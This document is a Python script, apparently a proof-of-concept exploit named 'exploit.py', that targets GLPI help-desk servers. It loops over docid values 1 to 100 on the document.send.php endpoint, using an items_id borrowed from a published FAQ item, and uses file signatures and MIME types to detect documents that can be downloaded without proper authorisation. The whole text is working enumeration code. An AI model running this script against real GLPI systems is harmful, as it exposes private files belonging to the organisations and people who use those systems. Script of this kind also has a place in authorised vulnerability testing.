README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import re
import sys
import argparse
GREEN = "\033[92m"
RED = "\033[91m"
RESET = "\033[0m"
DEBUG = False
ALLOWED_EXTS = {
".ai", ".aiff", ".bmp", ".bz2", ".h", ".c", ".csv", ".deb", ".djvu", ".dvi",
".xls", ".xlsx", ".swf", ".gif", ".xcf", ".gz", ".html", ".jpg", ".jpeg",
".tex", ".mid", ".mng", ".mp3", ".mpg", ".odb", ".ods", ".ots", ".odc",
".odg", ".otg", ".oth", ".odi", ".odp", ".otp", ".odf", ".odt", ".odm",
".ott", ".ogg", ".sxw", ".sxc", ".sxi", ".pas", ".pdf", ".psd", ".png",
".eps", ".ps", ".ppt", ".pptx", ".mov", ".qt", ".ra", ".ram", ".rm",
".rpm", ".rtf", ".svg", ".sdd", ".sdw", ".sit", ".txt", ".tgz", ".tif",
".tiff", ".wav", ".asf", ".avi", ".wmv", ".doc", ".docx", ".xml", ".zip"
}
ALLOWED_MIME_SUBSTRINGS = {
"image/", "application/pdf", "application/xml", "text/xml", "text/csv",
"application/zip", "application/x-rar-compressed", "application/x-gzip",
"application/octet-stream", "audio/", "video/", "application/postscript",
"image/svg+xml", "application/x-shockwave-flash", "application/x-tar",
"application/x-bzip2", "application/x-7z-compressed",
"application/vnd.ms-excel", "application/msword"
}
def extract_filename_ext(content_disposition):
if not content_disposition:
return ""
m = re.search(r'filename\*?=(?:UTF-8\'\')?["\']?([^"\';]+)', content_disposition, flags=re.IGNORECASE)
if not m:
return ""
fname = m.group(1)
fname = fname.split('/')[-1].split('\\')[-1]
if '.' in fname:
return '.' + fname.lower().split('.')[-1]
return ""
def magic_matches(body):
if not body:
return False
if body.startswith(b'\x89PNG'):
return ".png"
if body.startswith(b'\xff\xd8\xff'):
return ".jpg"
if body.startswith(b'%PDF'):
return ".pdf"
if body.startswith(b'PK\x03\x04'):
return ".zip"
if body.startswith(b'Rar!\x1A\x07') or body.startswith(b'Rar!\x1A\x07\x00'):
return ".rar"
if body.startswith(b'GIF8'):
return ".gif"
if body.startswith(b'II*\x00') or body.startswith(b'MM\x00*'):
return ".tiff"
if body.startswith(b'8BPS'):
return ".psd"
try:
start = body.decode(errors="ignore").lstrip()
if start.startswith("<?xml") or start.startswith("<svg") or start.startswith("%!PS"):
return ".xml"
except Exception:
pass
return False
def looks_like_target_file(resp):
ct = (resp.headers.get("Content-Type") or "").lower()
cd = (resp.headers.get("Content-Disposition") or "").lower()
ext_from_cd = extract_filename_ext(cd)
body = resp.content[:512]
magic_ext = magic_matches(body)
if magic_ext:
return True, magic_ext
if ext_from_cd and ext_from_cd in ALLOWED_EXTS:
return True, ext_from_cd
if ct:
if any(sub in ct for sub in ALLOWED_MIME_SUBSTRINGS):
return True, ct.split(';', 1)[0]
if "text/html" in ct:
if DEBUG:
return False, "text/html"
return False, False
return False, False
def docs_control(host, items_id):
found = []
for docid in range(1, 101):
url = f"http://{host}/front/document.send.php?docid={docid}&itemtype=KnowbaseItem&items_id={items_id}"
try:
resp = requests.get(url, timeout=6, allow_redirects=True, stream=True)
resp_content = resp.raw.read(1024, decode_content=True)
resp._content = resp_content + resp.raw.read() if resp_content is not None else resp.content
except Exception as e:
if DEBUG:
print(f"DEBUG: {url} request error: {e}", file=sys.stderr)
continue
ok, info = looks_like_target_file(resp)
if resp.status_code == 200 and ok:
ctype = resp.headers.get("Content-Type", "")
found.append((url, resp.status_code, ctype, info))
else:
if DEBUG:
reason = info if info else "no match"
print(f"DEBUG: skipped {url} -> {resp.status_code} -> {resp.headers.get('Content-Type','')} -> {reason}", file=sys.stderr)
if found:
for url, status, ctype, info in found:
print(f"{GREEN}{url} -> {ctype} {info} - vulnerability found{RESET}")
else:
print(f"{RED}No vulnerability found{RESET}")
def main():
global DEBUG
epilog_text = (
"Examples:\n"
" python exploit.py -H 10.0.0.1 -i 123\n"
" python exploit.py --host example.com:80 --items_id 456\n"
"If you don't supply arguments, the script will ask for them interactively."
)
parser = argparse.ArgumentParser(
description="GLPI - checks for accessible documents",
epilog=epilog_text,
formatter_class=argparse.RawTextHelpFormatter
)
parser.add_argument("-H", "--host", help="Address (e.g. ip or fqdn[:port]) — GLPI Adress")
parser.add_argument("-i", "--items_id", help="items_id value — File id of a shared screenshot from a published FAQ, etc.")
parser.add_argument("-d", "--debug", action="store_true", help="Enable debug output")
args = parser.parse_args()
DEBUG = bool(args.debug)
host = args.host
items_id = args.items_id
if not host:
try:
host = input("Address (e.g. ip or fqdn[:port]): ").strip()
except KeyboardInterrupt:
print("\nInterrupted.")
sys.exit(1)
if not items_id:
try:
items_id = input("items_id value: ").strip()
except KeyboardInterrupt:
print("\nInterrupted.")
sys.exit(1)
if not host or not items_id:
print("Both host and items_id are required. Use -h for help.")
sys.exit(1)
docs_control(host, items_id)
if __name__ == "__main__":
main()